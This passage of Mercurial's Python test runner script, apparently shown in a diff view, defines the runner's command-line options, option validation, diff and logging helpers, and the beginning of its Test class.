320 | 320 | if 'java' in sys.platform: |
|
321 | 321 | IMPL_PATH = b'JYTHONPATH' |
|
322 | 322 | |
|
323 | 323 | defaults = { |
|
324 | 324 | 'jobs': ('HGTEST_JOBS', multiprocessing.cpu_count()), |
|
325 | 325 | 'timeout': ('HGTEST_TIMEOUT', 180), |
|
326 | 326 | 'slowtimeout': ('HGTEST_SLOWTIMEOUT', 1500), |
|
327 | 327 | 'port': ('HGTEST_PORT', 20059), |
|
328 | 328 | 'shell': ('HGTEST_SHELL', 'sh'), |
|
329 | 329 | } |
|
330 | 330 | |
|
331 | 331 | |
|
332 | 332 | def canonpath(path): |
|
333 | 333 | return os.path.realpath(os.path.expanduser(path)) |
|
334 | 334 | |
|
335 | 335 | |
|
336 | 336 | def parselistfiles(files, listtype, warn=True): |
|
337 | 337 | entries = dict() |
|
338 | 338 | for filename in files: |
|
339 | 339 | try: |
|
340 | 340 | path = os.path.expanduser(os.path.expandvars(filename)) |
|
341 | 341 | f = open(path, "rb") |
|
342 | 342 | except IOError as err: |
|
343 | 343 | if err.errno != errno.ENOENT: |
|
344 | 344 | raise |
|
345 | 345 | if warn: |
|
346 | 346 | print("warning: no such %s file: %s" % (listtype, filename)) |
|
347 | 347 | continue |
|
348 | 348 | |
|
349 | 349 | for line in f.readlines(): |
|
350 | 350 | line = line.split(b'#', 1)[0].strip() |
|
351 | 351 | if line: |
|
352 | 352 | entries[line] = filename |
|
353 | 353 | |
|
354 | 354 | f.close() |
|
355 | 355 | return entries |
|
356 | 356 | |
|
357 | 357 | |
|
358 | 358 | def parsettestcases(path): |
|
359 | 359 | """read a .t test file, return a set of test case names |
|
360 | 360 | |
|
361 | 361 | If path does not exist, return an empty set. |
|
362 | 362 | """ |
|
363 | 363 | cases = [] |
|
364 | 364 | try: |
|
365 | 365 | with open(path, 'rb') as f: |
|
366 | 366 | for l in f: |
|
367 | 367 | if l.startswith(b'#testcases '): |
|
368 | 368 | cases.append(sorted(l[11:].split())) |
|
369 | 369 | except IOError as ex: |
|
370 | 370 | if ex.errno != errno.ENOENT: |
|
371 | 371 | raise |
|
372 | 372 | return cases |
|
373 | 373 | |
|
374 | 374 | |
|
375 | 375 | def getparser(): |
|
376 | 376 | """Obtain the OptionParser used by the CLI.""" |
|
377 | 377 | parser = argparse.ArgumentParser(usage='%(prog)s [options] [tests]') |
|
378 | 378 | |
|
379 | 379 | selection = parser.add_argument_group('Test Selection') |
|
380 | 380 | selection.add_argument( |
|
381 | 381 | '--allow-slow-tests', |
|
382 | 382 | action='store_true', |
|
383 | 383 | help='allow extremely slow tests', |
|
384 | 384 | ) |
|
385 | 385 | selection.add_argument( |
|
386 | 386 | "--blacklist", |
|
387 | 387 | action="append", |
|
388 | 388 | help="skip tests listed in the specified blacklist file", |
|
389 | 389 | ) |
|
390 | 390 | selection.add_argument( |
|
391 | 391 | "--changed", |
|
392 | 392 | help="run tests that are changed in parent rev or working directory", |
|
393 | 393 | ) |
|
394 | 394 | selection.add_argument( |
|
395 | 395 | "-k", "--keywords", help="run tests matching keywords" |
|
396 | 396 | ) |
|
397 | 397 | selection.add_argument( |
|
398 | 398 | "-r", "--retest", action="store_true", help="retest failed tests" |
|
399 | 399 | ) |
|
400 | 400 | selection.add_argument( |
|
401 | 401 | "--test-list", |
|
402 | 402 | action="append", |
|
403 | 403 | help="read tests to run from the specified file", |
|
404 | 404 | ) |
|
405 | 405 | selection.add_argument( |
|
406 | 406 | "--whitelist", |
|
407 | 407 | action="append", |
|
408 | 408 | help="always run tests listed in the specified whitelist file", |
|
409 | 409 | ) |
|
410 | 410 | selection.add_argument( |
|
411 | 411 | 'tests', metavar='TESTS', nargs='*', help='Tests to run' |
|
412 | 412 | ) |
|
413 | 413 | |
|
414 | 414 | harness = parser.add_argument_group('Test Harness Behavior') |
|
415 | 415 | harness.add_argument( |
|
416 | 416 | '--bisect-repo', |
|
417 | 417 | metavar='bisect_repo', |
|
418 | 418 | help=( |
|
419 | 419 | "Path of a repo to bisect. Use together with " "--known-good-rev" |
|
420 | 420 | ), |
|
421 | 421 | ) |
|
422 | 422 | harness.add_argument( |
|
423 | 423 | "-d", |
|
424 | 424 | "--debug", |
|
425 | 425 | action="store_true", |
|
426 | 426 | help="debug mode: write output of test scripts to console" |
|
427 | 427 | " rather than capturing and diffing it (disables timeout)", |
|
428 | 428 | ) |
|
429 | 429 | harness.add_argument( |
|
430 | 430 | "-f", |
|
431 | 431 | "--first", |
|
432 | 432 | action="store_true", |
|
433 | 433 | help="exit on the first test failure", |
|
434 | 434 | ) |
|
435 | 435 | harness.add_argument( |
|
436 | 436 | "-i", |
|
437 | 437 | "--interactive", |
|
438 | 438 | action="store_true", |
|
439 | 439 | help="prompt to accept changed output", |
|
440 | 440 | ) |
|
441 | 441 | harness.add_argument( |
|
442 | 442 | "-j", |
|
443 | 443 | "--jobs", |
|
444 | 444 | type=int, |
|
445 | 445 | help="number of jobs to run in parallel" |
|
446 | 446 | " (default: $%s or %d)" % defaults['jobs'], |
|
447 | 447 | ) |
|
448 | 448 | harness.add_argument( |
|
449 | 449 | "--keep-tmpdir", |
|
450 | 450 | action="store_true", |
|
451 | 451 | help="keep temporary directory after running tests", |
|
452 | 452 | ) |
|
453 | 453 | harness.add_argument( |
|
454 | 454 | '--known-good-rev', |
|
455 | 455 | metavar="known_good_rev", |
|
456 | 456 | help=( |
|
457 | 457 | "Automatically bisect any failures using this " |
|
458 | 458 | "revision as a known-good revision." |
|
459 | 459 | ), |
|
460 | 460 | ) |
|
461 | 461 | harness.add_argument( |
|
462 | 462 | "--list-tests", |
|
463 | 463 | action="store_true", |
|
464 | 464 | help="list tests instead of running them", |
|
465 | 465 | ) |
|
466 | 466 | harness.add_argument( |
|
467 | 467 | "--loop", action="store_true", help="loop tests repeatedly" |
|
468 | 468 | ) |
|
469 | 469 | harness.add_argument( |
|
470 | 470 | '--random', action="store_true", help='run tests in random order' |
|
471 | 471 | ) |
|
472 | 472 | harness.add_argument( |
|
473 | 473 | '--order-by-runtime', |
|
474 | 474 | action="store_true", |
|
475 | 475 | help='run slowest tests first, according to .testtimes', |
|
476 | 476 | ) |
|
477 | 477 | harness.add_argument( |
|
478 | 478 | "-p", |
|
479 | 479 | "--port", |
|
480 | 480 | type=int, |
|
481 | 481 | help="port on which servers should listen" |
|
482 | 482 | " (default: $%s or %d)" % defaults['port'], |
|
483 | 483 | ) |
|
484 | 484 | harness.add_argument( |
|
485 | 485 | '--profile-runner', |
|
486 | 486 | action='store_true', |
|
487 | 487 | help='run statprof on run-tests', |
|
488 | 488 | ) |
|
489 | 489 | harness.add_argument( |
|
490 | 490 | "-R", "--restart", action="store_true", help="restart at last error" |
|
491 | 491 | ) |
|
492 | 492 | harness.add_argument( |
|
493 | 493 | "--runs-per-test", |
|
494 | 494 | type=int, |
|
495 | 495 | dest="runs_per_test", |
|
496 | 496 | help="run each test N times (default=1)", |
|
497 | 497 | default=1, |
|
498 | 498 | ) |
|
499 | 499 | harness.add_argument( |
|
500 | 500 | "--shell", help="shell to use (default: $%s or %s)" % defaults['shell'] |
|
501 | 501 | ) |
|
502 | 502 | harness.add_argument( |
|
503 | 503 | '--showchannels', action='store_true', help='show scheduling channels' |
|
504 | 504 | ) |
|
505 | 505 | harness.add_argument( |
|
506 | 506 | "--slowtimeout", |
|
507 | 507 | type=int, |
|
508 | 508 | help="kill errant slow tests after SLOWTIMEOUT seconds" |
|
509 | 509 | " (default: $%s or %d)" % defaults['slowtimeout'], |
|
510 | 510 | ) |
|
511 | 511 | harness.add_argument( |
|
512 | 512 | "-t", |
|
513 | 513 | "--timeout", |
|
514 | 514 | type=int, |
|
515 | 515 | help="kill errant tests after TIMEOUT seconds" |
|
516 | 516 | " (default: $%s or %d)" % defaults['timeout'], |
|
517 | 517 | ) |
|
518 | 518 | harness.add_argument( |
|
519 | 519 | "--tmpdir", |
|
520 | 520 | help="run tests in the given temporary directory" |
|
521 | 521 | " (implies --keep-tmpdir)", |
|
522 | 522 | ) |
|
523 | 523 | harness.add_argument( |
|
524 | 524 | "-v", "--verbose", action="store_true", help="output verbose messages" |
|
525 | 525 | ) |
|
526 | 526 | |
|
527 | 527 | hgconf = parser.add_argument_group('Mercurial Configuration') |
|
528 | 528 | hgconf.add_argument( |
|
529 | 529 | "--chg", |
|
530 | 530 | action="store_true", |
|
531 | 531 | help="install and use chg wrapper in place of hg", |
|
532 | 532 | ) |
|
533 | 533 | hgconf.add_argument("--compiler", help="compiler to build with") |
|
534 | 534 | hgconf.add_argument( |
|
535 | 535 | '--extra-config-opt', |
|
536 | 536 | action="append", |
|
537 | 537 | default=[], |
|
538 | 538 | help='set the given config opt in the test hgrc', |
|
539 | 539 | ) |
|
540 | 540 | hgconf.add_argument( |
|
541 | 541 | "-l", |
|
542 | 542 | "--local", |
|
543 | 543 | action="store_true", |
|
544 | 544 | help="shortcut for --with-hg=<testdir>/../hg, " |
|
545 | 545 | "and --with-chg=<testdir>/../contrib/chg/chg if --chg is set", |
|
546 | 546 | ) |
|
547 | 547 | hgconf.add_argument( |
|
548 | 548 | "--ipv6", |
|
549 | 549 | action="store_true", |
|
550 | 550 | help="prefer IPv6 to IPv4 for network related tests", |
|
551 | 551 | ) |
|
552 | 552 | hgconf.add_argument( |
|
553 | 553 | "--pure", |
|
554 | 554 | action="store_true", |
|
555 | 555 | help="use pure Python code instead of C extensions", |
|
556 | 556 | ) |
|
557 | 557 | hgconf.add_argument( |
|
558 | 558 | "-3", |
|
559 | 559 | "--py3-warnings", |
|
560 | 560 | action="store_true", |
|
561 | 561 | help="enable Py3k warnings on Python 2.7+", |
|
562 | 562 | ) |
|
563 | 563 | hgconf.add_argument( |
|
564 | 564 | "--with-chg", |
|
565 | 565 | metavar="CHG", |
|
566 | 566 | help="use specified chg wrapper in place of hg", |
|
567 | 567 | ) |
|
568 | 568 | hgconf.add_argument( |
|
569 | 569 | "--with-hg", |
|
570 | 570 | metavar="HG", |
|
571 | 571 | help="test using specified hg script rather than a " |
|
572 | 572 | "temporary installation", |
|
573 | 573 | ) |
|
574 | 574 | |
|
575 | 575 | reporting = parser.add_argument_group('Results Reporting') |
|
576 | 576 | reporting.add_argument( |
|
577 | 577 | "-C", |
|
578 | 578 | "--annotate", |
|
579 | 579 | action="store_true", |
|
580 | 580 | help="output files annotated with coverage", |
|
581 | 581 | ) |
|
582 | 582 | reporting.add_argument( |
|
583 | 583 | "--color", |
|
584 | 584 | choices=["always", "auto", "never"], |
|
585 | 585 | default=os.environ.get('HGRUNTESTSCOLOR', 'auto'), |
|
586 | 586 | help="colorisation: always|auto|never (default: auto)", |
|
587 | 587 | ) |
|
588 | 588 | reporting.add_argument( |
|
589 | 589 | "-c", |
|
590 | 590 | "--cover", |
|
591 | 591 | action="store_true", |
|
592 | 592 | help="print a test coverage report", |
|
593 | 593 | ) |
|
594 | 594 | reporting.add_argument( |
|
595 | 595 | '--exceptions', |
|
596 | 596 | action='store_true', |
|
597 | 597 | help='log all exceptions and generate an exception report', |
|
598 | 598 | ) |
|
599 | 599 | reporting.add_argument( |
|
600 | 600 | "-H", |
|
601 | 601 | "--htmlcov", |
|
602 | 602 | action="store_true", |
|
603 | 603 | help="create an HTML report of the coverage of the files", |
|
604 | 604 | ) |
|
605 | 605 | reporting.add_argument( |
|
606 | 606 | "--json", |
|
607 | 607 | action="store_true", |
|
608 | 608 | help="store test result data in 'report.json' file", |
|
609 | 609 | ) |
|
610 | 610 | reporting.add_argument( |
|
611 | 611 | "--outputdir", |
|
612 | 612 | help="directory to write error logs to (default=test directory)", |
|
613 | 613 | ) |
|
614 | 614 | reporting.add_argument( |
|
615 | 615 | "-n", "--nodiff", action="store_true", help="skip showing test changes" |
|
616 | 616 | ) |
|
617 | 617 | reporting.add_argument( |
|
618 | 618 | "-S", |
|
619 | 619 | "--noskips", |
|
620 | 620 | action="store_true", |
|
621 | 621 | help="don't report skip tests verbosely", |
|
622 | 622 | ) |
|
623 | 623 | reporting.add_argument( |
|
624 | 624 | "--time", action="store_true", help="time how long each test takes" |
|
625 | 625 | ) |
|
626 | 626 | reporting.add_argument("--view", help="external diff viewer") |
|
627 | 627 | reporting.add_argument( |
|
628 | 628 | "--xunit", help="record xunit results at specified path" |
|
629 | 629 | ) |
|
630 | 630 | |
|
631 | 631 | for option, (envvar, default) in defaults.items(): |
|
632 | 632 | defaults[option] = type(default)(os.environ.get(envvar, default)) |
|
633 | 633 | parser.set_defaults(**defaults) |
|
634 | 634 | |
|
635 | 635 | return parser |
|
636 | 636 | |
|
637 | 637 | |
|
638 | 638 | def parseargs(args, parser): |
|
639 | 639 | """Parse arguments with our OptionParser and validate results.""" |
|
640 | 640 | options = parser.parse_args(args) |
|
641 | 641 | |
|
642 | 642 | # jython is always pure |
|
643 | 643 | if 'java' in sys.platform or '__pypy__' in sys.modules: |
|
644 | 644 | options.pure = True |
|
645 | 645 | |
|
646 | 646 | if options.local: |
|
647 | 647 | if options.with_hg or options.with_chg: |
|
648 | 648 | parser.error('--local cannot be used with --with-hg or --with-chg') |
|
649 | 649 | testdir = os.path.dirname(_bytespath(canonpath(sys.argv[0]))) |
|
650 | 650 | reporootdir = os.path.dirname(testdir) |
|
651 | 651 | pathandattrs = [(b'hg', 'with_hg')] |
|
652 | 652 | if options.chg: |
|
653 | 653 | pathandattrs.append((b'contrib/chg/chg', 'with_chg')) |
|
654 | 654 | for relpath, attr in pathandattrs: |
|
655 | 655 | binpath = os.path.join(reporootdir, relpath) |
|
656 | 656 | if os.name != 'nt' and not os.access(binpath, os.X_OK): |
|
657 | 657 | parser.error( |
|
658 | 658 | '--local specified, but %r not found or ' |
|
659 | 659 | 'not executable' % binpath |
|
660 | 660 | ) |
|
661 | 661 | setattr(options, attr, _strpath(binpath)) |
|
662 | 662 | |
|
663 | 663 | if options.with_hg: |
|
664 | 664 | options.with_hg = canonpath(_bytespath(options.with_hg)) |
|
665 | 665 | if not ( |
|
666 | 666 | os.path.isfile(options.with_hg) |
|
667 | 667 | and os.access(options.with_hg, os.X_OK) |
|
668 | 668 | ): |
|
669 | 669 | parser.error('--with-hg must specify an executable hg script') |
|
670 | 670 | if os.path.basename(options.with_hg) not in [b'hg', b'hg.exe']: |
|
671 | 671 | sys.stderr.write('warning: --with-hg should specify an hg script\n') |
|
672 | 672 | sys.stderr.flush() |
|
673 | 673 | |
|
674 | 674 | if (options.chg or options.with_chg) and os.name == 'nt': |
|
675 | 675 | parser.error('chg does not work on %s' % os.name) |
|
676 | 676 | if options.with_chg: |
|
677 | 677 | options.chg = False # no installation to temporary location |
|
678 | 678 | options.with_chg = canonpath(_bytespath(options.with_chg)) |
|
679 | 679 | if not ( |
|
680 | 680 | os.path.isfile(options.with_chg) |
|
681 | 681 | and os.access(options.with_chg, os.X_OK) |
|
682 | 682 | ): |
|
683 | 683 | parser.error('--with-chg must specify a chg executable') |
|
684 | 684 | if options.chg and options.with_hg: |
|
685 | 685 | # chg shares installation location with hg |
|
686 | 686 | parser.error( |
|
687 | 687 | '--chg does not work when --with-hg is specified ' |
|
688 | 688 | '(use --with-chg instead)' |
|
689 | 689 | ) |
|
690 | 690 | |
|
691 | 691 | if options.color == 'always' and not pygmentspresent: |
|
692 | 692 | sys.stderr.write( |
|
693 | 693 | 'warning: --color=always ignored because ' |
|
694 | 694 | 'pygments is not installed\n' |
|
695 | 695 | ) |
|
696 | 696 | |
|
697 | 697 | if options.bisect_repo and not options.known_good_rev: |
|
698 | 698 | parser.error("--bisect-repo cannot be used without --known-good-rev") |
|
699 | 699 | |
|
700 | 700 | global useipv6 |
|
701 | 701 | if options.ipv6: |
|
702 | 702 | useipv6 = checksocketfamily('AF_INET6') |
|
703 | 703 | else: |
|
704 | 704 | # only use IPv6 if IPv4 is unavailable and IPv6 is available |
|
705 | 705 | useipv6 = (not checksocketfamily('AF_INET')) and checksocketfamily( |
|
706 | 706 | 'AF_INET6' |
|
707 | 707 | ) |
|
708 | 708 | |
|
709 | 709 | options.anycoverage = options.cover or options.annotate or options.htmlcov |
|
710 | 710 | if options.anycoverage: |
|
711 | 711 | try: |
|
712 | 712 | import coverage |
|
713 | 713 | |
|
714 | 714 | covver = version.StrictVersion(coverage.__version__).version |
|
715 | 715 | if covver < (3, 3): |
|
716 | 716 | parser.error('coverage options require coverage 3.3 or later') |
|
717 | 717 | except ImportError: |
|
718 | 718 | parser.error('coverage options now require the coverage package') |
|
719 | 719 | |
|
720 | 720 | if options.anycoverage and options.local: |
|
721 | 721 | # this needs some path mangling somewhere, I guess |
|
722 | 722 | parser.error( |
|
723 | 723 | "sorry, coverage options do not work when --local " "is specified" |
|
724 | 724 | ) |
|
725 | 725 | |
|
726 | 726 | if options.anycoverage and options.with_hg: |
|
727 | 727 | parser.error( |
|
728 | 728 | "sorry, coverage options do not work when --with-hg " "is specified" |
|
729 | 729 | ) |
|
730 | 730 | |
|
731 | 731 | global verbose |
|
732 | 732 | if options.verbose: |
|
733 | 733 | verbose = '' |
|
734 | 734 | |
|
735 | 735 | if options.tmpdir: |
|
736 | 736 | options.tmpdir = canonpath(options.tmpdir) |
|
737 | 737 | |
|
738 | 738 | if options.jobs < 1: |
|
739 | 739 | parser.error('--jobs must be positive') |
|
740 | 740 | if options.interactive and options.debug: |
|
741 | 741 | parser.error("-i/--interactive and -d/--debug are incompatible") |
|
742 | 742 | if options.debug: |
|
743 | 743 | if options.timeout != defaults['timeout']: |
|
744 | 744 | sys.stderr.write('warning: --timeout option ignored with --debug\n') |
|
745 | 745 | if options.slowtimeout != defaults['slowtimeout']: |
|
746 | 746 | sys.stderr.write( |
|
747 | 747 | 'warning: --slowtimeout option ignored with --debug\n' |
|
748 | 748 | ) |
|
749 | 749 | options.timeout = 0 |
|
750 | 750 | options.slowtimeout = 0 |
|
751 | 751 | if options.py3_warnings: |
|
752 | 752 | if PYTHON3: |
|
753 | 753 | parser.error('--py3-warnings can only be used on Python 2.7') |
|
754 | 754 | |
|
755 | 755 | if options.blacklist: |
|
756 | 756 | options.blacklist = parselistfiles(options.blacklist, 'blacklist') |
|
757 | 757 | if options.whitelist: |
|
758 | 758 | options.whitelisted = parselistfiles(options.whitelist, 'whitelist') |
|
759 | 759 | else: |
|
760 | 760 | options.whitelisted = {} |
|
761 | 761 | |
|
762 | 762 | if options.showchannels: |
|
763 | 763 | options.nodiff = True |
|
764 | 764 | |
|
765 | 765 | return options |
|
766 | 766 | |
|
767 | 767 | |
|
768 | 768 | def rename(src, dst): |
|
769 | 769 | """Like os.rename(), trade atomicity and opened files friendliness |
|
770 | 770 | for existing destination support. |
|
771 | 771 | """ |
|
772 | 772 | shutil.copy(src, dst) |
|
773 | 773 | os.remove(src) |
|
774 | 774 | |
|
775 | 775 | |
|
776 | 776 | def makecleanable(path): |
|
777 | 777 | """Try to fix directory permission recursively so that the entire tree |
|
778 | 778 | can be deleted""" |
|
779 | 779 | for dirpath, dirnames, _filenames in os.walk(path, topdown=True): |
|
780 | 780 | for d in dirnames: |
|
781 | 781 | p = os.path.join(dirpath, d) |
|
782 | 782 | try: |
|
783 | 783 | os.chmod(p, os.stat(p).st_mode & 0o777 | 0o700) # chmod u+rwx |
|
784 | 784 | except OSError: |
|
785 | 785 | pass |
|
786 | 786 | |
|
787 | 787 | |
|
788 | 788 | _unified_diff = difflib.unified_diff |
|
789 | 789 | if PYTHON3: |
|
790 | 790 | import functools |
|
791 | 791 | |
|
792 | 792 | _unified_diff = functools.partial(difflib.diff_bytes, difflib.unified_diff) |
|
793 | 793 | |
|
794 | 794 | |
|
795 | 795 | def getdiff(expected, output, ref, err): |
|
796 | 796 | servefail = False |
|
797 | 797 | lines = [] |
|
798 | 798 | for line in _unified_diff(expected, output, ref, err): |
|
799 | 799 | if line.startswith(b'+++') or line.startswith(b'---'): |
|
800 | 800 | line = line.replace(b'\\', b'/') |
|
801 | 801 | if line.endswith(b' \n'): |
|
802 | 802 | line = line[:-2] + b'\n' |
|
803 | 803 | lines.append(line) |
|
804 | 804 | if not servefail and line.startswith( |
|
805 | 805 | b'+ abort: child process failed to start' |
|
806 | 806 | ): |
|
807 | 807 | servefail = True |
|
808 | 808 | |
|
809 | 809 | return servefail, lines |
|
810 | 810 | |
|
811 | 811 | |
|
812 | 812 | verbose = False |
|
813 | 813 | |
|
814 | 814 | |
|
815 | 815 | def vlog(*msg): |
|
816 | 816 | """Log only when in verbose mode.""" |
|
817 | 817 | if verbose is False: |
|
818 | 818 | return |
|
819 | 819 | |
|
820 | 820 | return log(*msg) |
|
821 | 821 | |
|
822 | 822 | |
|
823 | 823 | # Bytes that break XML even in a CDATA block: control characters 0-31 |
|
824 | 824 | # sans \t, \n and \r |
|
825 | 825 | CDATA_EVIL = re.compile(br"[\000-\010\013\014\016-\037]") |
|
826 | 826 | |
|
827 | 827 | # Match feature conditionalized output lines in the form, capturing the feature |
|
828 | 828 | # list in group 2, and the preceeding line output in group 1: |
|
829 | 829 | # |
|
830 | 830 | # output..output (feature !)\n |
|
831 | 831 | optline = re.compile(br'(.*) \((.+?) !\)\n$') |
|
832 | 832 | |
|
833 | 833 | |
|
834 | 834 | def cdatasafe(data): |
|
835 | 835 | """Make a string safe to include in a CDATA block. |
|
836 | 836 | |
|
837 | 837 | Certain control characters are illegal in a CDATA block, and |
|
838 | 838 | there's no way to include a ]]> in a CDATA either. This function |
|
839 | 839 | replaces illegal bytes with ? and adds a space between the ]] so |
|
840 | 840 | that it won't break the CDATA block. |
|
841 | 841 | """ |
|
842 | 842 | return CDATA_EVIL.sub(b'?', data).replace(b']]>', b'] ]>') |
|
843 | 843 | |
|
844 | 844 | |
|
845 | 845 | def log(*msg): |
|
846 | 846 | """Log something to stdout. |
|
847 | 847 | |
|
848 | 848 | Arguments are strings to print. |
|
849 | 849 | """ |
|
850 | 850 | with iolock: |
|
851 | 851 | if verbose: |
|
852 | 852 | print(verbose, end=' ') |
|
853 | 853 | for m in msg: |
|
854 | 854 | print(m, end=' ') |
|
855 | 855 | print() |
|
856 | 856 | sys.stdout.flush() |
|
857 | 857 | |
|
858 | 858 | |
|
859 | 859 | def highlightdiff(line, color): |
|
860 | 860 | if not color: |
|
861 | 861 | return line |
|
862 | 862 | assert pygmentspresent |
|
863 | 863 | return pygments.highlight( |
|
864 | 864 | line.decode('latin1'), difflexer, terminal256formatter |
|
865 | 865 | ).encode('latin1') |
|
866 | 866 | |
|
867 | 867 | |
|
868 | 868 | def highlightmsg(msg, color): |
|
869 | 869 | if not color: |
|
870 | 870 | return msg |
|
871 | 871 | assert pygmentspresent |
|
872 | 872 | return pygments.highlight(msg, runnerlexer, runnerformatter) |
|
873 | 873 | |
|
874 | 874 | |
|
875 | 875 | def terminate(proc): |
|
876 | 876 | """Terminate subprocess""" |
|
877 | 877 | vlog('# Terminating process %d' % proc.pid) |
|
878 | 878 | try: |
|
879 | 879 | proc.terminate() |
|
880 | 880 | except OSError: |
|
881 | 881 | pass |
|
882 | 882 | |
|
883 | 883 | |
|
884 | 884 | def killdaemons(pidfile): |
|
885 | 885 | import killdaemons as killmod |
|
886 | 886 | |
|
887 | 887 | return killmod.killdaemons(pidfile, tryhard=False, remove=True, logfn=vlog) |
|
888 | 888 | |
|
889 | 889 | |
|
890 | 890 | class Test(unittest.TestCase): |
|
891 | 891 | """Encapsulates a single, runnable test. |
|
892 | 892 | |
|
893 | 893 | While this class conforms to the unittest.TestCase API, it differs in that |
|
894 | 894 | instances need to be instantiated manually. (Typically, unittest.TestCase |
|
895 | 895 | classes are instantiated automatically by scanning modules.) |
|
896 | 896 | """ |
|
897 | 897 | |
|
898 | 898 | # Status code reserved for skipped tests (used by hghave). |
|
899 | 899 | SKIPPED_STATUS = 80 |
|
900 | 900 | |
|
901 | 901 | def __init__( |
|
902 | 902 | self, |
|
903 | 903 | path, |
|
904 | 904 | outputdir, |
|
905 | 905 | tmpdir, |
|
906 | 906 | keeptmpdir=False, |
|
907 | 907 | debug=False, |
|
908 | 908 | first=False, |
|
909 | 909 | timeout=None, |
|
910 | 910 | startport=None, |
|
911 | 911 | extraconfigopts=None, |
|
912 | 912 | py3warnings=False, |
|
913 | 913 | shell=None, |
|
914 | 914 | hgcommand=None, |
|
915 | 915 | slowtimeout=None, |
|
916 | 916 | usechg=False, |
|
917 | 917 | useipv6=False, |
|
918 | 918 | ): |
|
919 | 919 | """Create a test from parameters. |
|
920 | 920 | |
|
921 | 921 | path is the full path to the file defining the test. |
|
922 | 922 | |
|
923 | 923 | tmpdir is the main temporary directory to use for this test. |
|
924 | 924 | |
|
925 | 925 | keeptmpdir determines whether to keep the test's temporary directory |
|
926 | 926 | after execution. It defaults to removal (False). |
|
927 | 927 | |
|
928 | 928 | debug mode will make the test execute verbosely, with unfiltered |
|
929 | 929 | output. |
|
930 | 930 | |
|
931 | 931 | timeout controls the maximum run time of the test. It is ignored when |
|
932 | 932 | debug is True. See slowtimeout for tests with #require slow. |
|
933 | 933 | |
|
934 | 934 | slowtimeout overrides timeout if the test has #require slow. |
|
935 | 935 | |
|
936 | 936 | startport controls the starting port number to use for this test. Each |
|
937 | 937 | test will reserve 3 port numbers for execution. It is the caller's |
|
938 | 938 | responsibility to allocate a non-overlapping port range to Test |
|
939 | 939 | instances. |
|
940 | 940 | |
|
941 | 941 | extraconfigopts is an iterable of extra hgrc config options. Values |
|
942 | 942 | must have the form "key=value" (something understood by hgrc). Values |
|
943 | 943 | of the form "foo.key=value" will result in "[foo] key=value". |
|
944 | 944 | |
|
945 | 945 | py3warnings enables Py3k warnings. |
|
946 | 946 | |
|
947 | 947 | shell is the shell to execute tests in. |
|
948 | 948 | """ |
|
949 | 949 | if timeout is None: |
|
950 | 950 | timeout = defaults['timeout'] |
|
951 | 951 | if startport is None: |
|
952 | 952 | startport = defaults['port'] |
|
953 | 953 | if slowtimeout is None: |
|
954 | 954 | slowtimeout = defaults['slowtimeout'] |
|
955 | 955 | self.path = path |
|
956 | 956 | self.bname = os.path.basename(path) |
|
957 | 957 | self.name = _strpath(self.bname) |
|
958 | 958 | self._testdir = os.path.dirname(path) |
|
959 | 959 | self._outputdir = outputdir |
|
960 | 960 | self._tmpname = os.path.basename(path) |
|
961 | 961 | self.errpath = os.path.join(self._outputdir, b'%s.err' % self.bname) |
|
962 | 962 | |
|
963 | 963 | self._threadtmp = tmpdir |
|
964 | 964 | self._keeptmpdir = keeptmpdir |
|
965 | 965 | self._debug = debug |
|
966 | 966 | self._first = first |
|
967 | 967 | self._timeout = timeout |
|
968 | 968 | self._slowtimeout = slowtimeout |
|
969 | 969 | self._startport = startport |
|
970 | 970 | self._extraconfigopts = extraconfigopts or [] |
|
971 | 971 | self._py3warnings = py3warnings |
|
972 | 972 | self._shell = _bytespath(shell) |
|
973 | 973 | self._hgcommand = hgcommand or b'hg' |
|
974 | 974 | self._usechg = usechg |
|
975 | 975 | self._useipv6 = useipv6 |
|
976 | 976 | |
|
977 | 977 | self._aborted = False |
|
978 | 978 | self._daemonpids = [] |
|
979 | 979 | self._finished = None |
|
980 | 980 | self._ret = None |
|
981 | 981 | self._out = None |
|
982 | 982 | self._skipped = None |
|
983 | 983 | self._testtmp = None |
|
984 | 984 | self._chgsockdir = None |
|
985 | 985 | |
|
986 | 986 | self._refout = self.readrefout() |
|
987 | 987 | |
|
988 | 988 | def readrefout(self): |
|
989 | 989 | """read reference output""" |
|
990 | 990 | # If we're not in --debug mode and reference output file exists, |
|
991 | 991 | # check test output against it. |
|
992 | 992 | if self._debug: |
|
993 | 993 | return None # to match "out is None" |
|
994 | 994 | elif os.path.exists(self.refpath): |
|
995 | 995 | with open(self.refpath, 'rb') as f: |
|
996 | 996 | return f.read().splitlines(True) |
|
997 | 997 | else: |
|
998 | 998 | return [] |
|
999 | 999 | |
|
1000 | 1000 | # needed to get base class __repr__ running |
|
1001 | 1001 | @property |
|
1002 | 1002 | def _testMethodName(self): |
|
1003 | 1003 | return self.name |
|
1004 | 1004 | |
|
1005 | 1005 | def __str__(self): |
|
1006 | 1006 | return self.name |
|
1007 | 1007 | |
|
1008 | 1008 | def shortDescription(self): |
|
1009 | 1009 | return self.name |
|
1010 | 1010 | |
|
1011 | 1011 | def setUp(self): |
|
1012 | 1012 | """Tasks to perform before run().""" |
|
1013 | 1013 | self._finished = False |
|
1014 | 1014 | self._ret = None |
|
1015 | 1015 | self._out = None |
|
1016 | 1016 | self._skipped = None |
|
1017 | 1017 | |
|
1018 | 1018 | try: |
|
1019 | 1019 | os.mkdir(self._threadtmp) |
|
1020 | 1020 | except OSError as e: |
|
1021 | 1021 | if e.errno != errno.EEXIST: |
|
1022 | 1022 | raise |
|
1023 | 1023 | |
|
1024 | 1024 | name = self._tmpname |
|
1025 | 1025 | self._testtmp = os.path.join(self._threadtmp, name) |
|
1026 | 1026 | os.mkdir(self._testtmp) |
|
1027 | 1027 | |
|
1028 | 1028 | # Remove any previous output files. |
|
1029 | 1029 | if os.path.exists(self.errpath): |
|
1030 | 1030 | try: |
|
1031 | 1031 | os.remove(self.errpath) |
|
1032 | 1032 | except OSError as e: |
|
1033 | 1033 | # We might have raced another test to clean up a .err |
|
1034 | 1034 | # file, so ignore ENOENT when removing a previous .err |
|
1035 | 1035 | # file. |
|
1036 | 1036 | if e.errno != errno.ENOENT: |
|
1037 | 1037 | raise |
|
1038 | 1038 | |
|
1039 | 1039 | if self._usechg: |
|
1040 | 1040 | self._chgsockdir = os.path.join( |
|
1041 | 1041 | self._threadtmp, b'%s.chgsock' % name |
|
1042 | 1042 | ) |
|
1043 | 1043 | os.mkdir(self._chgsockdir) |
|
1044 | 1044 | |
|
1045 | 1045 | def run(self, result): |
|
1046 | 1046 | """Run this test and report results against a TestResult instance.""" |
|
